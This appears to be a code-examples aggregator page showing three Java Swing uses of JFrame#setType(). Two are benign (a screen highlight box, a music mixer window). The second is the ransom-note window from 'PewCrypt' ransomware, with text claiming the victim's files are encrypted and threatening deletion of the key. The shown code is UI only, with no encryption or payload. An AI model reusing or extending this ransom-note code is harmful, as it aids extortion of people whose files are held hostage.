Java Code Examples for javax.swing.JFrame#setType()

The following examples show how to use javax.swing.JFrame#setType() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: RobotUtils.java    From karate with MIT License 6 votes vote down vote up
public static void highlight(int x, int y, int width, int height, int time) {
    JFrame f = new JFrame();
    f.setUndecorated(true);
    f.setBackground(new Color(0, 0, 0, 0));
    f.setAlwaysOnTop(true);
    f.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
    f.setType(JFrame.Type.UTILITY);
    f.setFocusableWindowState(false);
    f.setAutoRequestFocus(false);
    f.setLocation(x, y);
    f.setSize(width, height);
    f.getRootPane().setBorder(BorderFactory.createLineBorder(Color.RED, 3));
    f.setVisible(true);
    delay(time);
    f.dispose();
}
 
Example 2
Source File: UI.java    From PewCrypt with MIT License 4 votes vote down vote up
/**
 * Initialise the contents of the frame.
 */
private void initialize() {

	byte[] imageBytes = DatatypeConverter.parseBase64Binary(imgB64);

	try {

		img = ImageIO.read(new ByteArrayInputStream(imageBytes));

	} catch (IOException e1) {

		e1.printStackTrace();

	}

	frmYourFilesHave = new JFrame();
	frmYourFilesHave.setResizable(false);
	frmYourFilesHave.setIconImage(img);
	frmYourFilesHave.setTitle("PewCrypt");
	frmYourFilesHave.setType(Type.POPUP);
	frmYourFilesHave.getContentPane().setBackground(Color.BLACK);
	frmYourFilesHave.setBounds(100, 100, 1247, 850);
	frmYourFilesHave.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
	frmYourFilesHave.getContentPane().setLayout(null);

	txtYourFilesHave = new JTextField();
	txtYourFilesHave.setBounds(0, 0, 1215, 45);
	txtYourFilesHave.setHorizontalAlignment(SwingConstants.CENTER);
	txtYourFilesHave.setBackground(Color.BLACK);
	txtYourFilesHave.setForeground(Color.RED);
	txtYourFilesHave.setEditable(false);
	txtYourFilesHave.setText("Your Files Have Been Encrypted!");
	frmYourFilesHave.getContentPane().add(txtYourFilesHave);
	txtYourFilesHave.setColumns(10);

	JTextArea Instructions = new JTextArea();
	Instructions.setBounds(0, 242, 1215, 203);
	Instructions.setEditable(false);
	Instructions.setFont(new Font("Monospaced", Font.PLAIN, 18));
	Instructions.setBackground(Color.BLACK);
	Instructions.setForeground(Color.RED);
	Instructions.setText(
			"Your files have been encrypted using a 256 bit AES key which has been encrypted with a 2048 bit RSA key\r\nIn order to get your files back read the instructions bellow\r\n\r\nInstructions:\r\r\n - Subscribe to Pewdiepie (Hint: Hit the bro fist)\r\r\n - Wait until Pewdiepie reaches 100 million subs at which point a decryption tool will be realseaed\r\r\nIf T-Series beats Pewdiepie THE PRIVATE KEY WILL BE DELETED AND YOU FILES GONE FOREVER!");
	frmYourFilesHave.getContentPane().add(Instructions);

	progressBarPEW.setMaximum(100000000);
	progressBarPEW.setForeground(new Color(0, 153, 204));
	progressBarPEW.setToolTipText("Pewdiepie Sub Progress Bar");
	progressBarPEW.setBackground(Color.DARK_GRAY);
	progressBarPEW.setBounds(0, 85, 1215, 50);
	frmYourFilesHave.getContentPane().add(progressBarPEW);

	progressBarT.setMaximum(100000000);
	progressBarT.setForeground(new Color(204, 0, 0));
	progressBarT.setToolTipText("T-Series Sub Progress Bar");
	progressBarT.setBackground(Color.DARK_GRAY);
	progressBarT.setBounds(0, 186, 1215, 50);
	frmYourFilesHave.getContentPane().add(progressBarT);

	JButton btnNewButton = new JButton(new ImageIcon(img));
	btnNewButton.setBackground(Color.BLACK);
	btnNewButton.addActionListener(new ActionListener() {
		public void actionPerformed(ActionEvent arg0) {

			try {

				// open Pewdiepie channel
				Desktop.getDesktop().browse(new URI("https://www.youtube.com/channel/UC-lHJZR3Gqxm24_Vd_AJ5Yw"));

			} catch (IOException | URISyntaxException e) {

				e.printStackTrace();
			}
		}
	});
	btnNewButton.setBounds(491, 485, 241, 249);
	btnNewButton.setBorderPainted(false);
	btnNewButton.setFocusPainted(false);
	btnNewButton.setContentAreaFilled(false);
	frmYourFilesHave.getContentPane().add(btnNewButton);

	lblPewdiepie.setHorizontalAlignment(SwingConstants.CENTER);
	lblPewdiepie.setForeground(Color.RED);
	lblPewdiepie.setBounds(0, 47, 1215, 33);
	frmYourFilesHave.getContentPane().add(lblPewdiepie);

	lblT.setHorizontalAlignment(SwingConstants.CENTER);
	lblT.setForeground(Color.RED);
	lblT.setBounds(0, 144, 1215, 33);
	frmYourFilesHave.getContentPane().add(lblT);
}
 
Example 3
Source File: DiscoMixer.java    From aurous-app with GNU General Public License v2.0 4 votes vote down vote up
/**
 * Initialize the contents of the frame.
 */
private void initialize() {
	discoFrame = new JFrame();
	discoFrame.setTitle("Disco Mixer");
	discoFrame.setIconImage(Toolkit.getDefaultToolkit().getImage(
			DiscoMixer.class.getResource("/resources/aurouslogo.png")));
	discoFrame.setType(Type.UTILITY);
	discoFrame.setResizable(false);
	discoFrame.setBounds(100, 100, 606, 239);
	discoFrame
	.setDefaultCloseOperation(WindowConstants.DO_NOTHING_ON_CLOSE);
	discoFrame.getContentPane().setLayout(null);
	discoFrame.addWindowListener(new java.awt.event.WindowAdapter() {
		@Override
		public void windowClosing(
				final java.awt.event.WindowEvent windowEvent) {
			final int confirm = JOptionPane.showOptionDialog(discoFrame,
					"Are You Sure You Want to Close Disco Mixer?",
					"Exit Confirmation", JOptionPane.YES_NO_OPTION,
					JOptionPane.QUESTION_MESSAGE, null, null, null);
			if (confirm == 0) {
				Playlist.getPlaylist().discoOpen = false;
				discoFrame.dispose();
			}

		}
	});

	final JLabel logoLabel = new JLabel("");
	logoLabel.setHorizontalAlignment(SwingConstants.CENTER);
	logoLabel.setIcon(new ImageIcon(DiscoMixer.class
			.getResource("/resources/fmw.png")));
	logoLabel.setBounds(10, 0, 580, 70);
	discoFrame.getContentPane().add(logoLabel);

	discoProgressBar = new JProgressBar();
	discoProgressBar.setStringPainted(true);
	discoProgressBar.setBounds(113, 119, 380, 49);
	discoProgressBar.setVisible(false);
	discoFrame.getContentPane().add(discoProgressBar);

	queryField = new JTextField();
	queryField.setFont(new Font("Segoe UI", Font.PLAIN, 20));
	queryField.setHorizontalAlignment(SwingConstants.CENTER);
	queryField.setBounds(113, 119, 380, 44);
	discoFrame.getContentPane().add(queryField);
	queryField.setColumns(10);

	final JLabel instructionsLabel = new JLabel(
			"Enter an Artist, Song or Choose from the Top 100!");
	instructionsLabel.setFont(new Font("Segoe UI", Font.PLAIN, 20));
	instructionsLabel.setHorizontalAlignment(SwingConstants.CENTER);
	instructionsLabel.setBounds(23, 81, 541, 27);
	discoFrame.getContentPane().add(instructionsLabel);

	discoBuildButton = new JButton("Disco!");
	discoBuildButton.addActionListener(e -> {
		if (!queryField.getText().trim().isEmpty()) {
			discoProgressBar.setVisible(true);
			YouTubeDiscoUtils.buildDiscoPlayList(queryField.getText());
		} else {
			JOptionPane.showMessageDialog(discoFrame,
					"Please enter search query", "Error",
					JOptionPane.ERROR_MESSAGE);
			return;
		}
	});
	discoBuildButton.setForeground(Color.BLACK);
	discoBuildButton.setBounds(197, 174, 100, 26);
	discoFrame.getContentPane().add(discoBuildButton);

	top100Button = new JButton("Top Hits!");
	top100Button.addActionListener(e -> {
		discoProgressBar.setVisible(true);
		YouTubeDiscoUtils.buildTopPlayList();
	});
	top100Button.setForeground(Color.BLACK);
	top100Button.setBounds(307, 174, 100, 26);
	discoFrame.getContentPane().add(top100Button);
	Playlist.getPlaylist().discoOpen = true;
	final GhostText ghostText = new GhostText("Ghost B.C.", queryField);
	ghostText.setHorizontalAlignment(SwingConstants.CENTER);
	discoFrame.setLocationRelativeTo(UISession.getPresenter().jfxPanel);
}